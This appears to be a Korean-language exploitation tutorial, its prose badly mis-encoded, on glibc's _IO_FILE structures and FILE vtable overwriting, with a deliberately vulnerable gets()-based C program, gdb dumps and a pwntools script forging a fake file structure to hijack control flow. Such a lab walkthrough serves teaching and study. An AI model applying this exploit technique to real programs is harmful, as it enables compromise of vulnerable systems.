๊ฐ๋
"_IO_FILE"์ ๋ฆฌ๋ ์ค ์์คํ ์ ํ์ค ๋ผ์ด๋ธ๋ฌ๋ฆฌ์์ ํ์ผ ์คํธ๋ฆผ์ ๋ํ๋ด๋ ๊ตฌ์กฐ์ฒด์ด๋ค. "fopen"๊ณผ ๊ฐ์ ํ์ผ๊ณผ ๊ด๋ จ์๋ ํจ์๋ฉด ํ์ผ ์คํธ๋ฆผ์ ์ด ๋ ํ์ ํ ๋น๋๋ค. "_IO_FILE" ๊ตฌ์กฐ์ฒด์ ์ ์๋ ๋ค์๊ณผ ๊ฐ๋ค.
struct _IO_FILE
{
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
/* The following pointers correspond to the C++ streambuf protocol. */
char *_IO_read_ptr; /* Current read pointer */
char *_IO_read_end; /* End of get area. */
char *_IO_read_base; /* Start of putback+get area. */
char *_IO_write_base; /* Start of put area. */
char *_IO_write_ptr; /* Current put pointer. */
char *_IO_write_end; /* End of put area. */
char *_IO_buf_base; /* Start of reserve area. */
char *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2;
__off_t _old_offset; /* This used to be _offset but it's too small. */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
- _flags : ํ์ผ์ ๋ํ rw ๊ถํ ์๋ฏธ. "0xfbad0000"์ด ๋งค์ง๊ฐ
- _IO_read_ptr : ํ์ผ ์ฝ๊ธฐ ๋ฒํผ์ ๋ํ ํฌ์ธํฐ
- _IO_read_end : ํ์ผ ์ฝ๊ธฐ ๋ฒํผ ์ฃผ์์ ๋์ ๊ฐ๋ฆฌํค๋ ํฌ์ธํฐ
- _IO_read_base : ํ์ผ ์ฝ๊ธฐ ๋ฒํผ ์ฃผ์์ ์์์ ๊ฐ๋ฆฌ๋ ํฌ์ธํฐ
- _chain : _IO_FILE๊ตฌ์กฐ์ฒด๋ _chain ํ๋๋ฅผ ํตํด linked list๋ฅผ ์์ฑ. linked list์ ํค๋๋ _IO_list_all์ ์ ์ฅ
_flags ํ๋์ ์ฃผ์ ๊ฐ์ ์ดํด๋ณด์.
_flags์ ๊ฐ์ด 0xfbad2484๋ผ ํ๋ฉด ์ด๋ 0xfbad0000+ 0x20000 + 0x400 + 0x80 + 0x4๋ก ๋ํ๋ผ ์ ์๋ค. ์ด๋ ๊ฐ๊ฐ "_IO_MAGIC", "_IO_IS_FILEBUF", "_IO_TIED_PUT_GET", "_IO_LINKED", "_IO_NO_READS"๋ฅผ ์๋ฏธํ๋ค. ํ์ผ์ ์ด ๋ ์ฐ๊ธฐ๋ชจ๋๋ก ์ด์ด "_IO_NO_READS"๊ฐ ์กด์ฌํ๋ค.
์๋๋ ํ์ผ์ ๋ด์ฉ์ ์ฝ์ด ์ถ๋ ฅํ๋ ์์ ์ด๋ค. testfile ํ์ผ์ ์ด์ด file_data์ 256๋ฐ์ดํธ ๋ฐ์ดํฐ๋ฅผ ์ ๋ ฅ๋ฐ๊ณ ์ถ๋ ฅํ ํ ์คํธ๋ฆผ์ ๋ซ๋ ์ฝ๋์ด๋ค.
// gcc -o file2 file2.c
#include <stdio.h>
int main()
{
char file_data[256];
int ret;
FILE *fp;
strcpy(file_data, "AAAA");
fp = fopen("testfile","r");
fread(file_data, 1, 256, fp);
printf("%s",file_data);
fclose(fp);
}
fread ํจ์๊ฐ ํธ์ถ๋ ์ดํ fp ํฌ์ธํฐ์ _IO_FILE ๊ตฌ์กฐ์ฒด๋ฅผ ์ดํด๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.
gdb-peda$ x/100x 0x602010
0x602010: 0x00000000fbad2498 0x0000000000602240
0x602020: 0x0000000000602240 0x0000000000602240
0x602030: 0x0000000000602240 0x0000000000602240
0x602040: 0x0000000000602240 0x0000000000602240
0x602050: 0x0000000000603240 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x00007ffff7dd2540
0x602080: 0x0000000000000003 0x0000000000000000
0x602090: 0x0000000000000000 0x00000000006020f0
0x6020a0: 0xffffffffffffffff 0x0000000000000000
0x6020b0: 0x0000000000602100 0x0000000000000000
0x6020c0: 0x0000000000000000 0x0000000000000000
0x6020d0: 0x00000000ffffffff 0x0000000000000000
0x6020e0: 0x0000000000000000 0x00007ffff7dd06e0
gdb-peda$ x/s 0x0000000000602240
0x602240: "THIS IS TEST FILE!\n"
0x602240 ๋ฉ๋ชจ๋ฆฌ ์ฃผ์์ ์ ๋ ฅํ ๊ฐ์ด ๋ค์ด๊ฐ์์ ํ์ธํ ์ ์๋ค.
์ค์ ํ์ผ์ ์ด ๋๋ _IO_FILE_plus ๊ตฌ์กฐ์ฒด๊ฐ ๋ฆฌํด๋๋ค. _IO_FILE_lpus ๊ตฌ์กฐ์ฒด๋ ํ์ผ ์คํธ๋ฆผ์์ ํจ์ ํธ์ถ์ ์ฉ์ดํ๊ฒ ํ๊ธฐ ์ํด _IO_FILE ๊ตฌ์กฐ์ฒด๋ฅผ ๊ฐ๋ฆฌํค๋ ํฌ์ธํฐ๋ฅผ ์ถ๊ฐํ ๊ตฌ์กฐ์ฒด๋ค.
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};
_IO_jump_t์๋ fread, fwrite, fopen๊ณผ ๊ฐ์ ํ์ค ํจ์๋ค์ ํธ์ถํ๋ค.
์ธ ํ์ผ ์คํธ๋ฆผ "stdin", "stdout", "stderr"์ ํ๋ก์ธ์ค๊ฐ ์์ํ ๋ ๋ผ์ด๋ธ๋ฌ๋ฆฌ์ ์ํด ์๋์ ์ผ๋ก ์์ฑ๋๋ค. ๋๋ฒ๊น ์ผ๋ก ๊น๋ณด๋ฉด 0x00000000fbad~~~ ๊ฐ์ ํ์ธํ ์ ์๋ค.
_IO_FILE vtable overwrite
์ฐ๋ถํฌ 16.04 ์ดํ ๋ฒ์ ๋ถํฐ๋ _IO_vtable_check ํจ์๊ฐ ์ถ๊ฐ๋์ด์ ์๋ ๋ฐฉ๋ฒ์ผ๋ก ์ต์คํ๋ก์์ด ๋ถ๊ฐ๋ฅํ๋ค.
์์ ๋ฅผ ํตํด overwrite๋ฅผ ํด๋ณด๊ฒ ๋ค.
// gcc -o fp_vtable fp_vtable.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
char name[256] = "\0";
FILE *fp = NULL;
void getshell() {
system("/bin/sh");
}
int main()
{
int bytes;
char random[4];
fp = fopen("/dev/urandom", "r");
printf("Name: ");
fflush(stdout);
gets(name);
fread(random, 1, 4, fp);
printf("random: %s", random);
return 0;
}
getsํจ์๋ฅผ ํตํด BOF ๊ณต๊ฒฉ์ด ๊ฐ๋ฅํ๋ค.
fp - ํ์ผ ๊ตฌ์กฐ์ฒด์ ํ ๋น๋ ์์ญ ๊ฐ๋ฆฌํด
freadํจ์ ํธ์ถ -> ํ์ผ ํฌ์ธํฐ๊ฐ ๊ฐ๋ฆฌํค๋ "_IO_FILE" ๊ตฌ์กฐ์ฒด์ vtable ์ฃผ์๋ฅผ ์ฐธ์กฐํด ํธ์ถ
๊ณต๊ฒฉ ๋ฐฉ๋ฒ : fp๋ฅผ name ์ฃผ์๋ก ์กฐ์ -> ํ์ผ ํจ์ ํธ์ถ ์ name ๋ฒํผ๋ฅผ "_IO_FILE" ๊ตฌ์กฐ์ฒด๋ก ์ค์ธํ์ฌ ์ฌ์ฉ
// name ๊ตฌ์กฐ
gdb-peda$ x/100x 0x6010a0
0x6010a0 <name>: 0x00000000fbad2488 0x0000000000000000
0x6010b0 <name+16>: 0x0000000000000000 0x0000000000000000
0x6010c0 <name+32>: 0x0000000000000000 0x0000000000000000
0x6010d0 <name+48>: 0x0000000000000000 0x0000000000000000
0x6010e0 <name+64>: 0x0000000000000000 0x0000000000000000
0x6010f0 <name+80>: 0x0000000000000000 0x0000000000000000
0x601100 <name+96>: 0x0000000000000000 0x0000000000000000
0x601110 <name+112>: 0x0000000000000003 0x0000000000000000
0x601120 <name+128>: 0x0000000000000000 0x0000000000601180
0x601130 <name+144>: 0xffffffffffffffff 0x0000000000000000
0x601140 <name+160>: 0x0000000000000000 0x0000000000000000
0x601150 <name+176>: 0x0000000000000000 0x0000000000000000
0x601160 <name+192>: 0x0000000000000000 0x0000000000000000
0x601170 <name+208>: 0x0000000000000000 0x0000000041414141 // vtable
0x601180 <name+224>: 0x0000000000000000 0x0000000000000000
0x601190 <name+240>: 0x0000000000000000 0x0000000000000000
0x6011a0 <fp>: 0x00000000006010a0 0x0000000000000000
from pwn import *
p = process("./fp_vtable")
elf = ELF("fp_vtable")
name_buf = elf.symbols['name']
# IO_FILE ๊ตฌ์กฐ์ฒด๋ฅผ ์ฐธ๊ณ ํ์ฌ ์์ฑ
name = p64(0xfbad2488)
name += p64(0)*13
name += p64(3) # _fileno ๊ฐ
name += p64(0)*2 # _flags2, _shortbuf[1] ๊ฐ
name += p64(name_buf + 0xe0)
name += p64(0xffffffffffffffff)
name += p64(0)*8
name += p64(0x41414141) # vtable
name += "\x00"*(256-len(name))
name += p64(name_buf)
print p.sendlineafter("Name:", str(name))
gdb.attach(p)
p.interactive()
์ต์คํ๋ก์ ์ฝ๋๋ฅผ ์งค ๋ ๋งจ ์์ ๋๋ฒ๊น ์์ name์ ๊ตฌ์กฐ์ _IO_FILE ๊ตฌ์กฐ์ฒด๋ฅผ ๊ฐ์ํ๊ณ ํด์ ์ง์ผ ํ๋ค. ์ฃผ์์ ๋ฌ์๋จ์ผ๋ ์ฐธ๊ณ ํ๊ธธ ๋ฐ๋๋ค.
๋ ์ง์คํฐ ๊ฐ๋ค์ ๋ณด๋ฉด 0x41414141๋ก ๋ฐ๋ ๊ฑธ ํ์ธํ ์ ์๋ค.
gdb-peda$ i r
rax 0x41414141 0x41414141
rbx 0x6010a0 0x6010a0
rcx 0x6010a0 0x6010a0
rdx 0x4 0x4
rsi 0x7ffe29143410 0x7ffe29143410
rdi 0x6010a0 0x6010a0
rbp 0x1 0x1
rsp 0x7ffe291433d8 0x7ffe291433d8
r8 0x601180 0x601180
r9 0x7ffe29143410 0x7ffe29143410
r10 0x7fa1fa1d6700 0x7fa1fa1d6700
r11 0x7fa1f9c751a0 0x7fa1f9c751a0
r12 0x4 0x4
r13 0x4 0x4
r14 0x0 0x0
r15 0x0 0x0
rip 0x7fa1f9c82707 0x7fa1f9c82707 <__GI__IO_sgetn+7>
eflags 0x10202 [ IF RF ]
cs 0x33 0x33
ss 0x2b 0x2b
ds 0x0 0x0
es 0x0 0x0
fs 0x0 0x0
gs 0x0 0x0